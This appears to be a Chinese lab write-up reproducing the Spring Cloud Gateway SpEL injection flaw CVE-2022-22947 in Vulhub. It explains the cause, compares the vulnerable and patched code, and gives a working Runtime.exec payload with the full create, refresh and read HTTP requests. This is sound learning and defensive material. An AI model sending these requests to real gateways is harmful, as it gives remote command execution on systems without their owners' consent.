Spring Cloud Gateway 的 SpEL 表达式注入漏洞(CVE-2022-22947)
受影响版本
以下版本的 Spring Cloud Gateway 存在此漏洞:
- 3.1.0
- 3.0.0 至 3.0.6
- 以及其他更早的、已停止维护的版本
环境搭建
由于我是在公司电脑(刚入职),所以从头配了个ubuntu,流程大致:先换apt、dns、dockerhub image缓存服务器镜像源,把docker和dockercompose下好,拉取镜像,我这里因为拉过了所以重启就直接起来了。

前面两个去环境配置里找,这里附上最后一个dockerhub
直接复制粘贴下面整条命令到终端执行,它会自动为你添加几个当前可靠的加速地址,并重启 Docker。
bash
# 配置阿里云、中科大、网易三个公共镜像源作为加速器
sudo mkdir -p /etc/docker
sudo tee /etc/docker/daemon.json <<-'EOF'
{"registry-mirrors": ["https://docker.mirrors.ustc.edu.cn","https://hub-mirror.c.163.com","https://mirror.ccs.tencentyun.com"]
}
EOF
# 重启Docker服务使配置生效
sudo systemctl daemon-reload
sudo systemctl restart docker
入门指南 | Vulhub漏洞环境使用vulhub,cd到要复现的cve后直接docker compose up -d就能拉取镜像并启动环境了,这个用的是8080端口,有的人可能bp用的这个端口可能会导致冲突什么的,可以改yaml文件也可以直接改自己的bp配置,我这里用的yakit没有这个问题
Spring Cloud Gateway
它统一接收所有外部请求,根据规则决定转发到哪个后端服务,并在转发前后执行统一的过滤逻辑(鉴权、日志、限流等),是 Spring Cloud 生态中的API 网关组件

SpEL 表达式
Spring Expression Language,Spring 表达式语言,Spring自己的嵌入式脚本,它能在程序运行期间动态地计算值、调用方法、访问属性。
它用来解决什么问题?
假设你想在配置文件里写这样一个逻辑:
// 需求:如果用户等级是VIP,折扣就是0.8,否则是1.0
// 问题:配置文件通常只能写死静态值,不知道怎么表达这个逻辑
不用 SpEL:你只能在代码里硬编码,或者在配置里写多个参数,然后在 Java 代码里写 if-else。
用 SpEL:你可以直接在配置里写表达式,让 Spring 在运行时自动计算结果:
discount: "#{ user.level == 'VIP' ? 0.8 : 1.0 }"
漏洞成因
``/actuator/gateway/routes/test`这是 Spring Boot Actuator 暴露的管理端点,用于动态添加路由规则。正常情况下,管理员可以通过它来配置网关如何转发请求。
/actuator/gateway/routes:管理路由的 API 路径test:攻击者自定义的路由 ID,用于创建一条新的路由规则
攻击者用这个api,自定义一个路由,载荷里可以定义过滤器,而其中的value字段用#{}(SpEL的执行包装器)包裹恶意表达式
#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}
T(java.lang.Runtime) |
获取 Java 的 Runtime 类(用于执行系统命令) |
|---|---|
.getRuntime() |
获取 Runtime 单例对象 |
.exec(new String[]{\"id\"}) |
执行系统命令 id,返回 Process 对象 |
.getInputStream() |
获取命令执行后的输出流(即 id 命令的结果) |
T(org.springframework.util.StreamUtils).copyToByteArray(...) |
将输出流读取成字节数组 |
new String(...) |
将字节数组转换成字符串(方便返回和显示) |
#{ ... } |
SpEL 的执行包装器,告诉 Spring 解析并运行里面的代码 |
创建路由成功后,payload不会立刻解析,需要访问/actuator/gateway/refresh激活所有路由,这个时候刚刚创建的test路由就会开始解析SpEL表达式,成功执行id命令,当攻击者再次访问test路由,就能得到webshell执行id后的回显
漏洞版本 (v3.1.0) 的代码示意:
// 位置: org.springframework.cloud.gateway.support.ShortcutConfigurable
public default String getValue(String key, String value) {if (value != null && value.startsWith("#{") && value.endsWith("}")) {// ❌ 危险:StandardEvaluationContext 拥有完整的 SpEL 功能StandardEvaluationContext context = new StandardEvaluationContext();// 可以调用 Java 类、执行静态方法、访问系统资源...return parser.parseExpression(value).getValue(context, String.class);}return value;
}
修复版本 (v3.1.1+) 的代码示意:
// 位置: org.springframework.cloud.gateway.support.ShortcutConfigurable
public default String getValue(String key, String value) {if (value != null && value.startsWith("#{") && value.endsWith("}")) {// ✅ 安全:GatewayEvaluationContext 基于 SimpleEvaluationContext// 只支持基本的属性访问,禁止执行任意代码GatewayEvaluationContext context = new GatewayEvaluationContext(beanFactory);return parser.parseExpression(value).getValue(context, String.class);}return value;
}
更详细看Spring Cloud Gateway CVE-2022-22947 漏洞分析|NOSEC安全讯息平台 - 白帽汇安全研究院
漏洞复现
攻击流程如图:

创建路由
POST /actuator/gateway/routes/test HTTP/1.1
Host: 192.168.19.3:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Content-Length: 329{"id": "hacktest","filters": [{"name": "AddResponseHeader","args": {"name": "Result","value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}}],"uri": "http://example.com"
}

刷新路由
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.19.3:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

访问路由
GET /actuator/gateway/routes/test HTTP/1.1
Host: 192.168.19.3:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

